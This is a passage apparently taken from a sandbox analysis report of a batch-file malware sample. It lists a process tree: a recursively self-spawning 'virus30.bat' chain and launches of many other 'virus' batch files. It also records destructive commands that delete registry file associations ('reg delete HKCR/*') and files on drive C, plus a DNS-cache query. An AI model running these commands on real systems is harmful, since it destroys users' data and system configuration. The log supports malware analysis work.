        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:2336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:2204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:8
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7588
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11976
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7604
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15884
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:6264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10164
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:5944
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:6992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16304
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:10028
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15704
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:1340
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:4140
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:3264
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:15272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:16256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:9984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        14⤵
        
        PID:2840
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:9864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15724
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:8476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:15668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:6416
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        15⤵
        
        PID:7468
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:10940
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        16⤵
        
        PID:11776
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        17⤵
        
        PID:17244
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6880
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5964
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6528
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:5784
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9364
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12404
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12412
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12332
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12272
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5220
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        5⤵
        
        PID:5592
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
    3⤵
    PID:5240
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
      4⤵
      PID:5364
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        5⤵
        
        PID:6236
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:6720
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6052
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6584
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:6320
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9420
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:10700
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9428
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15452
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:4064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:8424
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:13500
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:8432
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:9444
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:8336
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6608
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:6984
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9888
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:14276
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:10260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16020
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16368
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9740
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:10144
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15900
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:5368
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:5756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6356
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:3436
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:11096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:3476
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16860
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:11652
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:16988
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7896
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12120
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:3752
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:8008
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:11568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:8024
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:11644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:17348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12572
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6552
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:728
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12808
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:13248
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:12816
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:13256
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:6968
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7292
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7932
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:12952
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:13480
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:7948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11080
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:16836
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        13⤵
        
        PID:6348
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        12⤵
        
        PID:11668
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7316
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:13100
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:13812
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:6736
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6360
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:4124
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:10060
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:10640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15760
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:13864
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:3948
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:7484
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:11296
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16780
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:17388
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:12096
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:7492
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:11960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:17324
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:11992
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:6088
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6376
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:3540
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:10136
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:5472
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:10800
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:2712
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16756
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:8084
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:11576
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:12588
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:6092
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:5568
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:8936
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:5260
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15156
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:9064
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:15192
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        11⤵
        
        PID:16204
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:7596
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:12208
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:12224
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        5⤵
        
        PID:6684
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:6832
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6532
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:4856
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:8640
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:14232
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15148
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:8676
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:14280
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:4036
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:9732
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15924
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:7152
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:10120
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:6172
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        7⤵
        
        PID:6504
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:1216
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:9644
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15580
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:17104
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:9960
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        8⤵
        
        PID:696
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:9660
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15744
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        10⤵
        
        PID:15872
        
        C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        9⤵
        
        PID:9976
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
        6⤵
        
        PID:6840
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" virus30.bat"
      4⤵
      PID:5372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus31.bat"
  2⤵
  PID:908
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus32.bat"
  2⤵
  PID:2572
- - C:\Windows\system32\ipconfig.exe
    Ipconfig /displaydns
    3⤵
    - Gathers network information
    PID:6756
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus33.bat"
  2⤵
  PID:3232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus34.bat"
  2⤵
  PID:3700
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus35.bat"
  2⤵
  PID:3504
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus4.bat"
  2⤵
  PID:4972
- - C:\Windows\system32\reg.exe
    reg delete HKCR/.exe
    3⤵
    PID:5404
- - C:\Windows\system32\reg.exe
    reg delete HKCR/.dll
    3⤵
    PID:5812
- - C:\Windows\system32\reg.exe
    reg delete HKCR/*
    3⤵
    PID:6764
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus5.bat"
  2⤵
  PID:4100
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" Del C:\ *.* "
    3⤵
    PID:5268
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus6.bat"
  2⤵
  PID:960
- - C:\Windows\system32\notepad.exe
    C:\Windows\system32\notepad.exe
    3⤵
    PID:6132
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus7.bat"
  2⤵
  PID:3192
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus8.bat"
  2⤵
  PID:3392
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "virus9.bat"
  2⤵
  PID:1304

